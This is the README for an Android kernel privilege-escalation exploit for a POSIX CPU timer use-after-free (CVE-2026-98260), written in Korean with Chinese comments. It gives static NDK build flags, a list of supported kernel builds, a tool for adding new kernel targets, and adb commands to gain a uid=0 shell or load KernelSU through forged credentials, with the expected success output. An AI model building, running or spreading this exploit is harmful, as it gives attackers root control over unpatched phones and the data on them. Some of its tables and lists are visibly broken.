
6.12.69용 Android 커널 POSIX CPU 타이머 use-after-free 익스플로잇으로, 위조 자격 증명을 통해 uid=0 셸 또는 KernelSU late-load를 달성합니다.
CVE-2026-98260 POSIX CPU 타이머 UAF 이식, 지원 여부는 「커널 지원」 참조
두 가지 체인:
timer: 실제 cred를 전혀 쓰지 않음 → uid=0, u:r:shell:s0 (shell 도메인 root, bset caps)timer fake: fake cred(full caps) → 설치판 KernelSU libksud.so late-load| 경로 | 결과 |
|---|---|
real cred 제로 쓰기 + setuid(0) + exec sh | uid=0, u:r:shell:s0, ROOT_SHELL_OK |
fake cred + ksud late-load | 설치판 libksud.so(uapi 6), KSU_LOADED, su가 u:r:ksu:s0 |
u:r:shell:s0), tracefs와 /proc/slabinfo 읽기 가능me.weishu.kernelsu), fake는 자동으로 해당 lib/arm64/libksud.so를 사용cd timer
NDK=~/Android/Sdk/ndk/30.0.16248370/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
-fno-stack-protector -fno-pic -I. \
-ffunction-sections -fdata-sections timer.c -o timer \
-Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
-Wl,-z,norelro -pthread
per-build 상수는 각각 timer/kbuilds/<release>.h에 있으며, timer/kbuilds.h에서 인덱싱됩니다. timer.c는 로직만 포함하며, timer는 uname -r 전체 문자열로 매칭하고, 매칭되지 않으면 알려진 build를 출력한 뒤 종료합니다.
지원됨:
6.1.138-android14-11-g7b9e94e37cfa-mi6.6.118-android15-8-gf72a02f47f4b-abogki551678766-4k6.12.69-android16-6-g5fd39602326e-ab16372235-4k6.12.69-android16-6-g242e1a07f878-ab15865446-4k새 커널 추가 (98260 감지 + profile 작성 및 등록; 종료 코드 0은 패치 가능, 3은 이미 수정됨, 1은 오류):
cargo build --release --manifest-path tools/extract/Cargo.toml
tools/extract/target/release/timer-extract boot.img --add
tools/*.c는 call site, raw record, timer 누수 및 8 KiB AF_UNIX 회수 채널을 검증하는 데 사용됩니다.
adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer
# 诊断
adb shell /data/local/tmp/timer build # 打印内核 release 与命中的 profile
adb shell /data/local/tmp/timer ids # 探测 tracefs page event id
adb shell /data/local/tmp/timer leak # 只做 base/cred/task 泄漏,不触发 UAF
# uid-0 shell(真实 cred)
adb shell /data/local/tmp/timer # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell # 交互 sh
# KernelSU(fake cred + 安装版 ksud)
adb shell 'cd /data/local/tmp && setsid ./timer fake >timer.log 2>&1 </dev/null &'
adb shell cat /data/local/tmp/timer.log
fake 성공 표시:
[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id # uid=0 ... context=u:r:ksu:s0
timeout/kill을 실행하지 마십시오. 그렇지 않으면 panic이 발생할 수 있습니다timer/timer.c exploit
timer/kbuilds.h 内核 profile 索引(include 列表 + 指针表)
timer/kbuilds/ 各内核的 profile(<release>.h)
timer/timer 静态产物
tools/*.c 移植诊断源码
tools/extract/ 提取器与检测(Rust,bin timer-extract)
| 경로 | 라이선스 |
|---|---|
루트 디렉터리(timer/, tools/*.c) | MIT, LICENSE 참조 |
tools/extract/ | Apache-2.0, tools/extract/LICENSE 참조 |
제3자 출처:
timer/timer.c는 woshigenm/CVE-2026-98260의 src/uid0.c 및 src/poc.c를 각색한 것입니다(MIT)tools/extract/는 YuKongA/ghostlock-app/tools/extract_rs에서 가져온 것입니다(Apache-2.0)